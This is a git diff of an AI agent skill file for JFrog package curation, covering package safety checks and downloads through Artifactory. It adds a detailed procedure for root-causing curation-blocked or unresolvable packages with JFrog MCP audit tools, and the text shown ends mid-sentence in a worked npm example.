0adb9cf..300f785 100644 --- a/skills/jfrog-package-safety-and-download/SKILL.md +++ b/skills/jfrog-package-curation/SKILL.md @@ -1,25 +1,61 @@ --- -name: jfrog-package-safety-and-download +name: jfrog-package-curation description: >- - Check JFrog Public Catalog and stored packages for a version, interpret - catalog security signals, and download through Artifactory (JFrog Platform - locations, remote cache, curation-aware package managers, or repo proxy). - Use when the user asks whether a package is safe, allowed, curated, or - wants to download npm, Maven, PyPI, Go, or similar packages via JFrog. - Do NOT use for pure CVE or vulnerability lookups (e.g. "details on - CVE-2021-23337") — those are handled by the jfrog skill's Public security - domain queries without this workflow. + Check/download a package (npm, Maven, PyPI, Go...) via JFrog — safe, + allowed, curated? Or: package op fails/blocked (ETARGET, 403, blocked by + curation policy, missing version, waiver) — root cause it. Checks the JFrog Public + Catalog and stored packages for a version, interprets catalog security + signals, and downloads through Artifactory (JFrog Platform locations, + remote cache, curation-aware package managers, or repo proxy). Do NOT use + for pure CVE or vulnerability lookups (e.g. "details on CVE-2021-23337") + — those are handled by the jfrog skill's Public security domain queries + without this workflow. Do NOT use for installing, listing, or approving MCP + servers/tools (even when named like a package, e.g. `@scope/pkg`) — that's + `jfrog-mcp-management`. +compatibility: >- + "Check & download" needs only the JFrog CLI (`jf`). "Troubleshoot a + failure" needs the JFrog MCP curation tools (`jfs_curation_*`) — `jf` CLI + alone does not cover it; if unavailable, that section cannot run (see its + Preflight). Its reference file is local; outbound HTTPS is optional there + too (on-demand WebFetch of JFrog docs) — without it, it runs on the MCP + tools and local reference, degraded. metadata: role: workflow --- -# JFrog Package Safety and Download +# JFrog Package Curation ## Prerequisites - Read `../jfrog/SKILL.md` for JFrog Platform concepts, domain model, CLI setup, and API patterns. - **OneModel shapes drift by server version.** Before inventing GraphQL fields or `where` filters, read `../jfrog/references/onemodel-graphql.md` (schema fetch workflow) and `../jfrog/references/onemodel-query-examples.md` (**Public packages**, **Stored packages**). Regenerate or verify queries against `GET "$JFROG_URL/onemodel/api/v1/supergraph/schema"` when examples fail validation. +## Which path do I need? + +- **Package hasn't been checked or downloaded yet** (is it safe / allowed / curated? download it) → go to **Check & download** below. +- **A package operation already failed** — `ETARGET` (npm), "no matching distribution" (pip), `NU1102` (NuGet), a version missing/stripped from the registry, `403` / "blocked by curation policy", or an approved waiver not taking effect → go to **Troubleshoot a failure** below. + +--- + +# Troubleshoot a failure + +> **Requires the JFrog MCP curation tools** (`jfs_curation_*`); no `jf` CLI +> equivalent is used in this path. See the skill's `compatibility` note. + +Root-causing a curation-attributable failure (`ETARGET`, `403`, a version +missing from the index, a waiver not taking effect) is a multi-step +investigation — preflight checks, the two-gate model, symptom classification, +then a full RCA procedure. It doesn't belong inline here since a plain +download never touches it. **Open +[references/rca-procedure.md](references/rca-procedure.md) and follow it from +the top** — one file, covering preflight, the #1 RULE, the two-gate model, +symptom classification (Step 0), and the RCA itself (Steps 1–4, worked +examples, gotchas). + +--- + +# Check & download + ## Workflow overview ```mermaid @@ -36,7 +72,7 @@ flowchart TD I -->|Yes| J[Check curation policy via API] I -->|No| K[Download via remote repo] J -->|200 Allowed| K - J -->|403 Blocked| M[Report curation blocked — stop] + J -->|403 Blocked| M[Report curation blocked — see Troubleshoot a failure] ``` ### Parallelization opportunities @@ -207,7 +243,10 @@ fi download via a remote repo (same as Step 6b). - **`returned 403` on stderr** → package is **blocked** by a curation policy. The response body explains which policy rule blocked it. Report - the block reason to the user and stop — do not attempt to download. + the block reason to the user and stop — do not attempt to download. For + root-cause detail beyond the block reason (why this version specifically, + whether a waiver applies, what to use instead), see **Troubleshoot a + failure** above. - **Any other non-zero exit** → treat as an operational failure (auth, DNS, endpoint disabled) and report. diff --git a/skills/jfrog-package-curation/references/rca-procedure.md b/skills/jfrog-package-curation/references/rca-procedure.md new file mode 100644 index 0000000..3a8f24b --- /dev/null +++ b/skills/jfrog-package-curation/references/rca-procedure.md @@ -0,0 +1,568 @@ +# Curation RCA procedure + +> **Requires the JFrog MCP curation tools** (`jfs_curation_*`); no `jf` CLI +> equivalent is used in this path. See the skill's `compatibility` note. + +> **#1 RULE — READ FIRST.** The **public catalog** +> (`catalog_packages_list_versions`) is the only authority on whether a version +> exists — quote its version list when you report existence. **Never** assert a +> version exists or doesn't from the curated registry (`npm view` / `pip index` +> against `/artifactory/...`, which is curation-filtered, so a CVS-blocked version +> is simply absent) **or from your own memory**. Decide existence from the catalog, +> and cross-check the **CVS audit** (`jfs_curation_query_cvs_audit_events`) for why a version was +> filtered. + +Root-cause a curation package failure: correlate the two places Curation acts, +then report an actionable conclusion. This file is the whole workflow — +preflight, the two-gate model, symptom classification, evidence gathering, +interpretation, and the conclusion — read it in order. + +This orchestrates the **JFrog MCP curation tools** (no `jf` CLI or raw +HTTP) and assumes the JFrog MCP server is connected and the tenant is +Curation-entitled. The curation tools are the **`jfs_curation_*`** family (e.g. +`jfs_curation_query_cvs_audit_events`); `catalog_packages_list_versions` +and `artifactory_repositories_get` are different tool families without the prefix. + +## Preflight + +**Right environment.** The MCP curation tools only ever query the +**currently connected** JFrog tenant, and a different env has different audit data — +an answer from the wrong tenant is worse than none. When the failing URL's host +matches the connected tenant, you're set — proceed. **Confirm with the user only +when it's ambiguous** (the host doesn't obviously match, or you can't tell which +tenant is connected); on a real mismatch, **stop** until the tools point at the +right tenant. Don't ask when it already matches. + +**Tools must be present.** These MCP tools are gated at registration +by platform version + entitlement (min Xray **3.153.0** for the CVS tools and +`jfs_curation_get_audit_event_policies`; **3.112.0** for `jfs_curation_query_audit_events`). If the tool you +need is **not in your available tools**, split the diagnosis on what else is +present: + +- **No JFrog MCP tools at all** (not even `catalog_packages_list_versions` / + `artifactory_repositories_get`) → the JFrog MCP server isn't connected. Say + so; never substitute a `jf` command or raw HTTP. +- **Other JFrog MCP tools work but `jfs_curation_*` is absent** → the + platform is below the required Xray version or the tenant isn't + Curation-entitled. **Stop gracefully:** report that the audit-based investigation + can't run here and that it needs Xray ≥ 3.153.0 with Curation enabled. + +Either way, do **not** fabricate calls or guess results. + +## How Curation works + +A package manager does two things: **resolve** a version, then **download** it. +Curation acts at both, with different strictness. + +| | **Gate 1 — Resolution** | **Gate 2 — Download** | +|---|---|---| +| Client action | asks Artifactory for the version list | requests the binary | +| Curation evaluates | versions newest-first, **stops at the first approved one** (max evaluated is configurable, typically 1) | **all** policies, against the one requested version | +| Returns | that version **plus everything older** — or `403` if none approved | the binary — or `403` | +| Strictness | best-effort filter to reduce downstream blocks; **not a guarantee** | **hard gate** — enforcement is final here | + +**The list is truncated at the top, not filtered throughout.** Versions *newer* +than the approved one are gone. Versions *older* are present but were **never +evaluated**. Every symptom below follows from that one sentence. + +```mermaid +sequenceDiagram + participant CLI as Package manager + participant RT as Artifactory + participant CUR as Curation + + CLI->>RT: 1. list versions + RT->>CUR: evaluate + CUR-->>RT: first approved version + all older + alt none approved + RT-->>CLI: 403 + else + RT-->>CLI: truncated list + end + Note over CLI: client resolves against this list only
a pin not in it fails here, in the client + + CLI->>RT: 2. download resolved version + RT->>CUR: evaluate all policies + alt blocked + RT-->>CLI: 403 + else + RT-->>CLI: binary + end +``` + +**Which audit records which gate:** + +- **Gate 1 — resolution** → the **CVS audit**: + `jfs_curation_query_cvs_audit_events` → `jfs_curation_get_cvs_audit_version_detail`. +- **Gate 2 — download** → the **package-download audit**: + `jfs_curation_query_audit_events` → `jfs_curation_get_audit_event_policies`. +- A **`403` with nothing resolvable** (gate 1, every version blocked) is recorded in + **both** audits — query both. + +**Symptom → gate:** + +| Symptom | Gate | Read it as | +|---|---|---| +| `ETARGET`, "no matching distribution", `NU1102` | 1 | pin is newer than the approved version, so it was never returned. The client failed locally — **Curation wrote no event for this failure** | +| `403` on a version the client could see | 2 | pin is older than the approved version: passed gate 1 unevaluated, blocked at the hard gate. Expected, not a contradiction | +| `403` with nothing resolvable | 1 | every version blocked (recorded in both audits) | +| Visible "latest" is lower than upstream | 1 | normal truncation, not a fault | + +Exact error text is **manager- and command-specific** — don't assume `ETARGET` +(npm `ETARGET`, pip "no matching distribution", NuGet `NU1102`, `E403`; `npm +install` vs `npm ci`, `pip install ` vs `==`). + +Gate 1 and gate 2 disagreeing is **by design** — say so rather than reconciling it. + +**"CVS disabled" ≠ no gate 1.** CVS is **enabled by default** for some package types: the +**malicious** and **immature** policies run at gate 1 even when CVS is switched off +(npm today; the set grows as types onboard — don't assume it's only npm). So a +gate-1 block whose `condition_name` is malicious or immature is expected despite a +"CVS is disabled" claim; a CVE / license / ban condition means CVS is actually on. +Treat the audit as ground truth — a gate-1 event contemporaneous with the failure +settles it. Read the `condition_name` and explain it; don't argue with the claim. + +> **Don't mix timelines.** The audit tools report the **past** (timestamped +> events). `jfs_curation_check_remote_package_compliance` returns a **live verdict now** — it +> runs a fresh CVS evaluation under current policy and may create a new audit row. +> Anchor the RCA on the audit timeline. Use a live compliance check only per +> Step 2, and label its result **current** — never as evidence of the +> failure-time state. + +**Docs to consult** — fetch on demand, once (if blocked/airgapped, say so and +reason from the tool outputs; if the fetch itself fails for any other reason, +say so and proceed on the tool outputs alone rather than stalling): + +- **CVS mechanism, supported types, waiver applicability, limits** — fetch at the + start of a gate-1 investigation: + `https://docs.jfrog.com/security/docs/compliant-version-selection` +- **Per-package-manager error text** — don't assume `ETARGET`; the pattern is + manager- and command-specific: + `https://docs.jfrog.com/security/docs/behavior-by-package` +- **Curation concepts** (what it is, features & capabilities), only to ground a + term you cannot otherwise resolve: + `https://docs.jfrog.com/security/docs/curation-intro` and + `https://docs.jfrog.com/security/docs/features-and-capabilities-getting-started-5` + +## Route by gate + +Classify the symptom → gate → tool using the tables above: + +- **Gate 1 — resolution** (not resolvable: `ETARGET`, "no matching distribution", + `NU1102`, missing from `npm view` / `pip index`) → **CVS audit**: + `jfs_curation_query_cvs_audit_events` → `jfs_curation_get_cvs_audit_version_detail`. +- **Gate 2 — download** (`403` on a version that *is* resolvable) → **package-download + audit**: `jfs_curation_query_audit_events` → `jfs_curation_get_audit_event_policies`. + Enough to root-cause the 403 on its own — don't reach for a compliance check by reflex. + +A `403` with **nothing** resolvable is gate 1 and is recorded in **both** audits — +query both. The gates can **disagree** (a resolvable version that still 403s) — +surface it, don't reconcile. + +## Step 0 — Capture the symptom + +Collect before touching any tool. Ask the user only for what is missing: + +- **package type** (npm, PyPI, Maven, Go, NuGet, …) — infer it from the failing + URL (`/api//…`, e.g. `/api/npm/`) or the command (`npm`/`pip`/…); ask the + user only if neither is available. `package_type` is **required** on the CVS + audit call. If the first audit comes back + empty, suspect a casing/token mismatch instead: canonical CVS tokens are + `npm, PyPI, Maven, Go, NuGet, Gems, Conda, Composer, Gradle, + AIEditorExtensions, SBT, Alpine, Docker, Cargo` (case-sensitive, not + normalised server-side) — retry with the canonical casing, or ask the user + to confirm the ecosystem rather than guessing. +- **package name** and the **version** in the error. +- **repository / registry** the client resolved through (from the failing URL / + client config), and whether it's a JFrog **curated remote**, a **virtual** (some + managers — e.g. Go — require one; npm can use either), or plain public. This + decides how Step 1 reads a "not found" (curated vs public) and how Step 2 + identifies the remote (the audits are keyed by the remote, never a virtual). You + often can't tell virtual from remote by name — capture it; if unknown, ask; do + not assume. +- the **exact error text** and the **approximate date + hour** — bounds the audit + window (Step 2). Investigate any past failure within **retention** (default ~30 days); + the 168h cap limits one query's **width**, not recency. For an older failure, + anchor the window near the failure time (not "now") so the query actually covers it. + +**Pin the timeline before running any audit.** Read the failure's **date + hour** +from the error text / log if it's there (e.g. a timestamped log line) — don't ask +for what the provided context already shows; ask the user only if it's missing +(and don't settle for "recently"). It bounds the audit window and anchors +`created_at_end` to the failure, not "now". Then, within that window, if Step 2's +survey turns up **more than one curated remote** for the package, ask which repo +they resolved through before interpreting — see Step 2's "Identify the curated +remote". + +Classify into a symptom class. This list is **open-ended** — match the closest +row; if nothing fits, use the last row (never refuse for lack of an exact match): + +| Symptom | Class | Start with | +|---|---|---| +| A version can't be resolved/installed — e.g. `ETARGET` (npm), "no matching distribution" (pip), `NU1102` (NuGet), or absent from `npm view` / `pip index`. The exact pattern is **package-manager-specific** — see behavior-by-package | **NOT-RESOLVABLE** | Step 1's client-side-config check, then Gate 1 — CVS audit | +| `403` / `Forbidden` / "blocked by curation policy" on a version that *is* listed | **DOWNLOAD-BLOCKED** | Gate 2 — package-download audit | +| Every version fails because nothing resolves at all (empty/near-empty listing) | **NOT-RESOLVABLE** (package-level) | This is a resolution failure, not a download-time block — Gate 1 + both audits | +| Every version 403s at download while the package is still listed | **PACKAGE-BLOCKED** | Gate 2; expect a package-level block | +| The blocked name is a dependency of what you installed | **TRANSITIVE** | Gate 2 on the *blocked* name, not the top-level one | +| Used to install, now blocked (or was blocked, now works) | **DRIFT / TIMELINE** | both audits across time; a live compliance check is the *only* "now" signal | +| Still blocked despite an approved waiver | **WAIVER-NOT-APPLIED** | Gate 2 + `jfs_curation_query_waiver_requests` (check scope, status, expiry) | +| "Pending Catalog update" reason, or intermittent/flaky blocks | **PENDING / TRANSIENT** | the relevant audit filtered by `reason` | +| Anything else curation-related, or unclear | **OTHER** | gather from **both** audits + the client error text, then map via the Step 4 RCA table | + +## Step 1 — Rule out the non-curation cause first + +Don't assume curation — and for **NOT-RESOLVABLE**, decide existence per the **#1 RULE**. + +**Rule out client-side config first.** A resolve failure can look identical to a +curation block while having nothing to do with curation — the package manager's +own local filters produce the same symptom shape (`ETARGET`, no matching +version). Before trusting the symptom table's default routing, check whether +the client config explains it: a date/version-age filter (npm's `before` / +`min-release-age`, surfaced via `npm config get before` and `npm config get +min-release-age`), a registry override in `.npmrc` / `pip.conf` / `nuget.config` +/ `GOPROXY`, or a CI-injected flag. This applies **regardless of the exact +error string** — don't wait for a table row that matches your specific +package manager's wording. + +Settle it with **two independent reads — run BOTH, and never gate one behind the +other**: + +1. **Does it exist?** Use **only** `catalog_packages_list_versions` (approved MCP + tool). **Never** query a public/upstream registry directly, **never** the + curated `/artifactory/...` registry, and **never** `artifactory_packages_get_versions` + (curated/cached = **filtered** listing — same trap). Two coverage notes: + - **Name translation:** the catalog token differs for some CVS types — **Go → + `golang`**, **Gems → `rubygems`**. npm / PyPI / Maven / NuGet are the same. + - The catalog covers only some types; for an **unsupported** type it returns + nothing — a catalog miss there is **not** proof of non-existence. Fall back + to the CVS audit (read 2); if that's also empty, say the existence check is + unavailable rather than guessing. +2. **What did Curation decide?** For a **NOT-RESOLVABLE** symptom, **always** query + the CVS audit (`jfs_curation_query_cvs_audit_events`, package + type) — do not + skip it because a listing looked empty. It is the authoritative record of whether + CVS inspected the version and blocked or approved it: it both proves the version + existed and gives the verdict. (For a **403 / download** symptom, the reverse + holds — do **not** query the CVS audit; use the download audit only. See Gate 2 + and the 403 worked example. A **403 with nothing resolvable** is Gate 1 + too — query **both** audits, per the two-gate model above.) + +Read the cross-product: + +- **In the catalog (or a CVS record exists) + CVS blocked it** → **curated-index + filtering** (the usual answer): CVS blocked the version **and** the client can't + resolve it. The audit proves *blocked* (a decision); the **client's ETARGET / + absence** is what proves it's missing from the listing — the audit does not state + listing membership, so don't claim omission unless the client listing actually + lacks the pin. Together → **Gate 1** for the policy detail and the compliant + version CVS selected. +- **In the catalog + no CVS record** → not (yet) curation — remote sync / virtual + repo / cache config; investigate outside CVS. +- **Not in the catalog (and the catalog supports this package type) + no CVS + record** → likely never existed / yanked → not curation; report the nearest + catalog versions (e.g. `1.18.1`, `0.19.0`) and stop. If the catalog does + **not** support this type, a miss is not proof of non-existence — report the + existence check as unavailable (Insufficient evidence) instead. + +A resolve-time ETARGET fails **in the client**: it mints **no** CVS or download +audit row and there is **no** 403 to find. The CVS evidence is a +**prior/historical** evaluation (when the package was last inspected) — never +expect a row created by this failed install, and never read its absence as +"curation not involved". + +For a **403** symptom the non-curation confounders are auth / permissions / a +disabled repo — rule those out, then Gate 2. + +## Step 2 — Gather evidence + +Pick the branch from Step 0. When in doubt, run both; they are independent. + +**Identify the curated remote.** The audits are keyed by the curated **remote**, +never a virtual — so the repo in the client URL is a lookup key, not the answer. +Capture it as `client_repo` (from the failing URL, e.g. `/api/npm//…`); a +virtual (some managers, e.g. Go, require one) is **never** the curated remote key, +so do **not** pre-filter the audit on it. Read the candidate remotes from the +returned events (`curated_repo_name` for CVS, `curated_repository_name` for the +download audit) within the failure window. + +When `client_repo` is a virtual, or more than one remote has a contemporaneous +event, resolve which remote in this order — **never infer from names** +(`npm-virtual` does not imply `npm-remote`): + +1. **Artifactory join (preferred).** Call `artifactory_repositories_get(client_repo)` + and intersect its member repositories with the candidate remotes from the audit. + A single match is the remote. +2. **Ask (fallback).** If that tool is not accessible (e.g. a 403/permission error), + or the intersection is empty or still more than one, **ask the user to confirm + the underlying remote** they resolved through. Do not guess. + +Until the remote is proven by (1) or (2), do **not** put a repo in the RCA +**Repository** field — and never the virtual name — and cap that field at +**Medium** confidence. The *what* (policy/verdict) can still be **High** when every +candidate remote carries the same verdict, even while the Repository stays Medium. + +**Window to the failure time** (from Step 0), not the 7-day default — far fewer +day-partitions scanned on a busy tenant, and required when the failure is >7 days old. +The survey bounds `created_at_start`/`created_at_end` are **RFC3339 strings** (e.g. +`2026-08-18T03:33:00Z`), **not** epoch — epoch ms is only for +`jfs_curation_get_cvs_audit_version_detail.created_at` (Gate 1 step 3); don't carry that +format into the survey or it 400s / returns empty. + +- **Gate 2 (403):** the block is contemporaneous with the failure, so window it + **as tightly as your timestamp precision allows** — with a precise time (e.g. from + the client log), use only a clock-skew margin (**±15 min**, at most ±1 h); widen + toward ±1 day **only** when the failure time is approximate ("sometime that day"). + A tight window also avoids sweeping in unrelated contemporaneous events (e.g. a + second remote's block for the same package), which is what forces the + remote-disambiguation step — so don't widen it past what the timestamp warrants. +- **Gate 1 (CVS):** the evaluation happens when Artifactory (re)builds the + **cached** curated metadata, so it can be **hours or days before** the failed + resolve — its timestamp has no fixed relation to the failure clock. Do **not** + window symmetrically or tightly: reach **back** — set `created_at_end` to just + after the failure, `created_at_start` to **failure − 7 days** (one 168h window), + `direction=desc`, and take the **latest event at or before the failure**. Cap the + reach-back at 7 days; do **not** page further. If that window is empty, report + **"no CVS record in the 7 days before the failure"** (the cached inspection is + older than 7 days) — not "no CVS" outright. + +### Gate 1 — NOT-RESOLVABLE (CVS audit) + +Target the **historical** CVS evaluation — the failed install created no new row. +The pin may be **absent** from `versions[]` because resolution stopped before it +(see **How Curation works** above), not because it was "never evaluated". + +1. **Survey** with `jfs_curation_query_cvs_audit_events` (do **not** set `include_versions` + yet). `package_name` and `package_type` are **required** (no unscoped + surveys). Add `inspection_results=no_compliant_versions,compliant_version_selected` + (comma-separated IN — both failure buckets in one call), and use `direction=desc` with a + small `num_of_rows` for the latest evaluation. **Never** survey + `all_versions_compliant` to explain a failure (~99% of the data); if you ever + query it, cap the window to **≤1 day**. Set `include_total` only when you need the + match count or an exact `next_offset` (to gauge volume or paginate) — it adds a + count query, so skip it for a plain latest-event lookup. + Read `packages[].summary`, `inspection_results`, `latest_inspected_version`. +2. **Drill down** on the event you care about: call again with the same + `package_name` + `package_type` plus `event_id=`, + `include_versions=true`, `num_of_rows` ≤ 10. Find the target version in + `packages[].versions[]` and read its `action` + blocking `policies[]`. +3. **Explain** one version with `jfs_curation_get_cvs_audit_version_detail` + (`version_id=versions[].id`, `created_at=` the **event's** `created_at` in + **epoch milliseconds** — copy it verbatim). + +### Gate 2 — DOWNLOAD-BLOCKED (package-download audit) + +1. **Search** `jfs_curation_query_audit_events` by `package_type` + `package_name` + (+ `package_version` if known) over the relevant window (add `include_total=true` + only if you want the match count). +2. **Explain** the blocking event with `jfs_curation_get_audit_event_policies` + (`event_id=data[i].id`) for the `explanation` + `remediation`. These fields can + come back **empty** (policy/condition names and verdict only) — that does **not** + lower confidence: when the audit's policy/condition agrees with the client's + block notice, the finding is still **High**. Fall back to the Step 4 generic + package-blocked remediation and note "no remediation text from the API". + +### Optional live compliance check — only when it earns its place + +`jfs_curation_check_remote_package_compliance` is **not** a step in the RCA. It is a live, +current-policy verdict that runs a fresh evaluation (see the +timeline note above), so it does not tell you what happened at the time of the +failure and it can muddy a clean audit-based conclusion. Call it **only** when: + +- the user asks "what can I install instead?" **and** the audit did not already + surface allowed/suggested versions (the client's own block notice often does); +- you specifically need a **current-vs-past drift** check (e.g. confirm the block + still stands under today's policy); or +- you are about to **change a dependency or recommend a pin** and must validate + the candidate live. + +Otherwise skip it. When you do call it, report `allowed_versions` and the verdict +as **current state**, kept separate from the audit-based root cause. + +## Step 3 — Interpret + +Each tool's own description lists its traps; read them before concluding. The +ones that most often flip an RCA: + +- **Empty CVS result → first rule out "curation not enabled".** The audit tools + are **not** feature-gated (they need only `VIEW_POLICIES`), so a disabled feature + writes no rows and returns `200` with empty `data` — indistinguishable from + "nothing blocked". +- **For a 403, the download audit is the authority; CVS coverage is partial.** + Because resolution stops at the first approved version (see **How Curation + works** above), absence from a CVS `versions[]` does **not** mean a version + was unevaluated, out of the index, or approved — and it must **never** weaken + or override a `jfs_curation_query_audit_events` finding. Versions CVS did not + (re)select stay in the index and are enforced by the download flow — that is + the 403. +- **Bad `inspection_results`/`reason` tokens are silently ignored** → a 200 + **unfiltered** result. Verify returned rows carry the value you filtered on. +- **Do not invent or generalize a mechanism.** The audit reports the *decision* + on a version (blocked/compliant + policy + reason), not why the client listing + contains or omits it. Never infer a general rule from a few events — e.g. + "CVE policies enforce at download, ban-label at resolve" from two rows. A + policy's category does not determine listing membership or enforcement stage; + read each event's own fields. If the behavior in question (listing/exposure, + enforcement stage) is not stated in the audit rows or the CVS doc, report it as + **not determined** — do not synthesize an explanation to fit the data points. + +## Before Step 4 — output gate + +No conclusion (even hedged) without these tool calls made and reflected in +Evidence: + +- Existence in question (NOT-RESOLVABLE, or any 403 with **nothing** + resolvable): `catalog_packages_list_versions` (the #1 RULE). +- A 403 on a version the client already **resolved/listed**: existence is + proven by that successful listing — the catalog call isn't required; go + straight to the download audit. +- NOT-RESOLVABLE, or any 403 with nothing resolvable: `jfs_curation_query_cvs_audit_events`. +- Any resolvable/listed 403 (DOWNLOAD-BLOCKED, PACKAGE-BLOCKED on a still-listed + name, TRANSITIVE): `jfs_curation_query_audit_events`. +- WAIVER-NOT-APPLIED: + `jfs_curation_query_waiver_requests`. + +Missing/unavailable tool ≠ license to guess — use Insufficient evidence instead. + +## Step 4 — Conclude the RCA + +Map the evidence to a root cause. Report the **first** row that matches. + +| Evidence | Root cause | Remediation | +|---|---|---| +| Version not in the public catalog (for a package type the catalog supports) and no CVS record | **Not curation** — version does not exist | Correct the version; nothing to unblock. | +| ETARGET on a curated registry; version present in the **public catalog** but absent from the **curated** listing; CVS history shows it filtered / not selected | **Curated-index filtering** — CVS omitted the version from the curated listing, so the client can't resolve it (fails at resolve, no 403, no fresh audit row) | Use a version present in the curated listing (one CVS selected / `allowed_versions`); or waiver and re-index. | +| CVS event: target version `action=blocked` + policy P | **CVS non-compliant** — CVS found the version non-compliant under policy P (this is the decision; it does not by itself explain listing membership) | Apply the version's `remediation` from `jfs_curation_get_cvs_audit_version_detail`; pin to an `action=approved` version from the same event (or `allowed_versions`). For waiver applicability under CVS, consult the CVS doc — do not assume. | +| CVS event: `inspection_results=no_compliant_versions` | **No compliant version found** in the audit | Check `jfs_curation_check_remote_package_compliance` for any allowed version; otherwise raise a waiver (see the CVS doc for applicability). Do not recommend changing the policy. | +| Package-audit event: version `action=blocked` + policy P | **Download-time block** — the 403 comes from policy P at download | Apply the policy's `remediation` from `jfs_curation_get_audit_event_policies`; use an allowed version; or raise a waiver. | +| Locked/older pin 403s at download; the recent CVS record selected a *newer* compliant version and has no (or only a stale/earlier) record for the pin | **Pin bypasses CVS selection** — CVS returned a newer compliant version and did not (re)select the pinned one, so the pin stays in the index and is enforced by the download-time policy (the 403). The CVS absence is expected, **not** evidence of anything | Use the compliant version CVS selected (or `allowed_versions`), or waiver the pin. The download audit + `jfs_curation_get_audit_event_policies` is the authority for the block. | +| Block covers the package itself, not a single version | **Package-blocked** — a policy blocks the whole package | Use a different package, or waiver the package if policy allows (see the block's `remediation`). | +| The blocked package name ≠ the one the user installed | **Transitive dependency block** — a dependency was blocked | Re-run the RCA on the *blocked* dependency; remediate it (pin/override the transitive) rather than the top-level package. | +| Approved waiver exists (`jfs_curation_query_waiver_requests`) yet the block persists | **Waiver not effective** — wrong scope/repo, expired, not yet applied, or the index has not refreshed | Verify the waiver's scope, status, and expiry against the failing repo/version. If it's valid, the index likely hasn't re-evaluated — no MCP tool here can force this; tell the **user** to reindex / zap the cache on the curated remote and retry after they do. | +| `reason = "Pending Catalog update"` | **Transient / pending** — the verdict awaits catalog data | Retry after the catalog updates; treat as not-final, not a hard block. | +| CVS `approved` **and** a download-time block exist for the same version | **Divergence** — the version is CVS-approved yet blocked at download; causes include a policy change between evaluation and download, or a different policy set on the download path (see the CVS doc) | Confirm current status via `jfs_curation_check_remote_package_compliance`; use a curation-compliant version or raise a waiver. Do not recommend changing the policy. | +| No CVS **and** no package-audit record, version exists upstream | **Likely not curation** (write lag, CVS disabled or not applicable, no scoped policy, unsupported type) | For the CVS audit, confirm the window already reached the full 7 days (Gate 1's cap) — do not widen past 168h or drop `package_name`/`package_type`. For the download audit, you may widen using the multi-window probe strategy and drop optional filters, but keep `package_type`. If still empty at those caps, investigate outside curation. | + +**Failure Reason lookup** — map the matched root cause above to the one **Failure +Reason** you print below (several root causes map to the same label): + +- **Version not available — removed by curation:** Curated-index filtering; CVS + non-compliant; No compliant version found. +- **Download blocked by a curation policy:** Download-time block; Pin bypasses CVS + selection; Divergence (CVS-approved yet blocked at download); Waiver not effective + (add "waiver not applied" in Failure Details). +- **Whole package blocked by curation:** Package-blocked. +- **Curation check still pending:** Transient / pending ("Pending Catalog update"). +- **Not caused by curation:** version does not exist; likely-not-curation (remote + sync / cache / no scoped policy / unsupported type); a client-side date/version + filter (`min-release-age` / `before`, registry override, CI flag) explains it. +- **No curation record found:** no CVS and no package-audit record in window. +- **Transitive** is not its own label — re-run the RCA on the *blocked dependency* + and use whichever Failure Reason its own root-cause row maps to. + +**If the root cause is "Not caused by curation" or "No curation record +found," skip the table below — use the "Not a curation problem" block after +Insufficient evidence instead.** The table's fields are curation-specific +(Repository, Audit event links) and don't apply to a non-curation cause. + +For the other four Failure Reasons, present the conclusion as a **table** — +render exactly these rows, in this order. Frame every value in **curation** +terms (this is a curation RCA, not a generic one): + +| Field | Value | +| --- | --- | +| **Confidence** | **High** / **Medium** / **Low** — ``. Report **Low** when a step returned an ambiguous empty result rather than a positive record; the *what* can stay **High** while **Repository** is **Medium** until the virtual→remote join is proven (Step 2). | +| **Package** | `` | +| **Version** | `` (or `all` / the failing pin) | +| **Failure Reason** | one of: **Version not available — removed by curation** · **Download blocked by a curation policy** · **Whole package blocked by curation** · **Curation check still pending** · **Not caused by curation** · **No curation record found** | +| **Failure Details** | Failed due to curation policy `` — `` (e.g. "Failed due to curation policy `cve` — cve more than 7 and Half") | +| **Repository** | the remote from whichever audit you used — `` (CVS) or `` (download audit) | +| **Failure Timestamp** | the exact failure timestamp, e.g. `2026-08-18T03:33:00Z` | +| **Audit event links** | the Curation **UI audit page** — `/ui/package-curation/audit` (`` = the platform host from the failing URL / connected tenant) — plus the event(s) that locate the record there: CVS `jfs_curation_query_cvs_audit_events` event `id=` (`created_at=`), download `jfs_curation_query_audit_events` event `id=` | + +Then, **below the table, as bullet points** (not table rows): + +- **Ruled out:** the non-curation causes you checked — auth / permissions, repo or remote config, a version that never existed. +- **Evidence:** discrete `key=value` tokens on one line, each individually searchable/copyable — e.g. `tool=jfs_curation_query_cvs_audit_events` `event_id=1290` `created_at=1786000000000` `action=blocked` `policy=cve`. Emit only the tokens you have. +- **Remediation** *(High confidence only — omit entirely at Medium/Low):* use a curation-**compliant** version (the one CVS selected, or an `allowed_versions` entry), or **raise a waiver** scoped to the curated remote(s) you resolve through. **Never** propose changing or loosening a curation policy (e.g. "lower the CVE threshold in policy `cve`") — a policy change is out of scope for this RCA; the waiver is the only sanctioned exception. + +**Insufficient evidence** *(use instead of the table above when the output +gate stopped you)*: state **Cannot conclude** — name the missing tool call(s) +or ambiguity (tenant, repo, tool unavailable) — and what's needed to proceed. +Never fill the table with a guess to avoid this. + +**Not a curation problem** *(use instead of the table above for "Not caused +by curation" / "No curation record found")*: state the actual cause and the +evidence that rules out curation — e.g. `npm config get before` / +`min-release-age` returned a value matching the error, or no CVS/download +record exists in a widened window. No curation-specific fields — Repository +and Audit event links don't apply here. + +**Consistency gate — before you finalize.** Re-check the conclusion against +**every** event you retrieved, not just the ones that fit. If any row contradicts +it, the conclusion is wrong — revise it to fit all the data. A conclusion that +requires an invented mechanism to reconcile two rows is a red flag: prefer "not +determined from the audit (see the CVS doc)" over a synthesized rule. + +## Worked examples (illustrative) + +Two end-to-end illustrations. They are **not** the supported set — apply the same +method (Step 0 → Step 4) to any curation symptom, including the classes above +that have no example here. + +### npm `ETARGET` + +> `No matching version found for @vitest/eslint-plugin@1.6.27` + +`ETARGET` → NOT-RESOLVABLE (Gate 1). **First** apply Step 1's two reads — do +**not** trust `npm view` against the curated registry (that's the filtered +view). (1) Existence via `catalog_packages_list_versions` (the only approved +oracle — do not query public npm directly) — absent there → "version does not +exist", report the nearest catalog versions, stop. (2) **Always** survey the CVS audit +`jfs_curation_query_cvs_audit_events(package_name, package_type="npm")` with +`direction=desc` for the latest **historical** evaluation (this failed install minted +no row). Drill down (`event_id`, `include_versions=true`) and look for `1.6.27`: +`action=blocked` → CVS found it non-compliant; combined with the client's ETARGET +(the pin is absent from the curated listing), that's curated-index filtering +— get `explanation`/`remediation` via `jfs_curation_get_cvs_audit_version_detail` and pin to +the version CVS selected (check the CVS doc before assuming a 